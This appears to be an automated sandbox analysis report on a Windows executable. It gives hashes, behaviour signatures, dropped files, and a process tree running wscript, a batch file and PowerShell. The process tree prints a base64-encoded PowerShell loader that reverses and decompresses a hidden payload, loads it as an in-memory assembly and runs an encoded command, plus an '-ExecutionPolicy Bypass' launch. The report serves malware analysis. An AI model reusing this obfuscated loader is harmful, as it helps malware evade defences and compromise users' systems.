Analysis

  • max time kernel
    122s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    02-04-2024 13:14

General

  • Target

    55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe

  • Size

    271KB

  • MD5

    8b8db4eaa6f5368eb5f64359c6197b43

  • SHA1

    e9b51842e2d2f39fa06e466ae73af341ddffe1c8

  • SHA256

    55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77

  • SHA512

    4da734da30af148f246f433b71c72677b9f78698424db15eba364233dff183cb998f9be13d2832872829ac545be1e15ff75ceb85fca3fd0784265fd576db0056

  • SSDEEP

    6144:xfL+oq+hnjsVl3dRQTLU+2bRRR17+fYHPfIMDPSBJ7Y/B4aSi3V:xfL5njsVlNuc++Rj17+fYHPfIg4Y54ap

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe
    "C:\Users\Admin\AppData\Local\Temp\55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:620
    • C:\Windows\SysWOW64\wscript.exe
      "wscript.exe" "C:\Users\Admin\start.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1148
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\temp.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2628
        • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2568
        • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2864

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\-temp.ps1

    Filesize

    1KB

    MD5

    ee6d2d219d1affb98fb9dc1de51d895e

    SHA1

    aaa2ceb5f7214c76b8a050a06d257cdc30d6bb48

    SHA256

    017fb2bedc94f0480d208611df6b42589d407fc4338e1f5dc1e00a9fd52752e0

    SHA512

    52139b56af32835b93fb8eb93b553325e36654debe5c15e6b61930ffe8027e0ee5eb0998da4c37ec047c052522a022d7103c33d7495eb1a3504cfee1780229bf

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UIATTLM4EFV0P36NTR6R.temp

    Filesize

    7KB

    MD5

    56740afb1258b3259d15dd2ce7726881

    SHA1

    1dd0cc20e6788fac538cf56219104218ac37cc34

    SHA256

    17927ffa61bcbf783f9899cd31e818f17d6ca29191ef3fb86ff8df7abae626cb

    SHA512

    afe0dbdad8cc8a701e7b4d3ce8b34b5486eb7032294e1d547151adc6b266bc028588bf3fef26fb63b632b749888dc9fd8923e28cef4a7b021b8e81d2e310c277

  • C:\Users\Admin\start.vbs

    Filesize

    231B

    MD5

    abe1dd23ab4c11aae54f1898c780c0b5

    SHA1

    bb2f974b3e0af2baa40920b475582bfd4fb28001

    SHA256

    89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12

    SHA512

    e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d

  • C:\Users\Admin\temp.bat

    Filesize

    204KB

    MD5

    72b17467a49b7813856fa604d1d291c8

    SHA1

    3116d07854d56f0bc505be8b80804a7319208739

    SHA256

    e24aaddfa2ece0891ad7b3c51779c65bbf95e4fded59fc46fe4fef311e1de3e1

    SHA512

    38c99cc716097ee7cb642203432ffbd1ef6ce8a0c9b21aa2827962b82456ecb3113fa1edd362aab013737e3bdfb2d0803145fc0caf612054ba47f6454c3a4843

  • memory/2568-13-0x0000000074470000-0x0000000074A1B000-memory.dmp

    Filesize

    5.7MB

  • memory/2568-10-0x0000000002680000-0x00000000026C0000-memory.dmp

    Filesize

    256KB

  • memory/2568-11-0x0000000002680000-0x00000000026C0000-memory.dmp

    Filesize

    256KB

  • memory/2568-9-0x0000000074470000-0x0000000074A1B000-memory.dmp

    Filesize

    5.7MB

  • memory/2568-8-0x0000000074470000-0x0000000074A1B000-memory.dmp

    Filesize

    5.7MB

  • memory/2864-20-0x0000000002060000-0x00000000020A0000-memory.dmp

    Filesize

    256KB

  • memory/2864-19-0x0000000074420000-0x00000000749CB000-memory.dmp

    Filesize

    5.7MB

  • memory/2864-21-0x0000000074420000-0x00000000749CB000-memory.dmp

    Filesize

    5.7MB

  • memory/2864-24-0x0000000074420000-0x00000000749CB000-memory.dmp

    Filesize

    5.7MB

  • memory/2864-25-0x0000000002060000-0x00000000020A0000-memory.dmp

    Filesize

    256KB

  • memory/2864-26-0x0000000074420000-0x00000000749CB000-memory.dmp

    Filesize

    5.7MB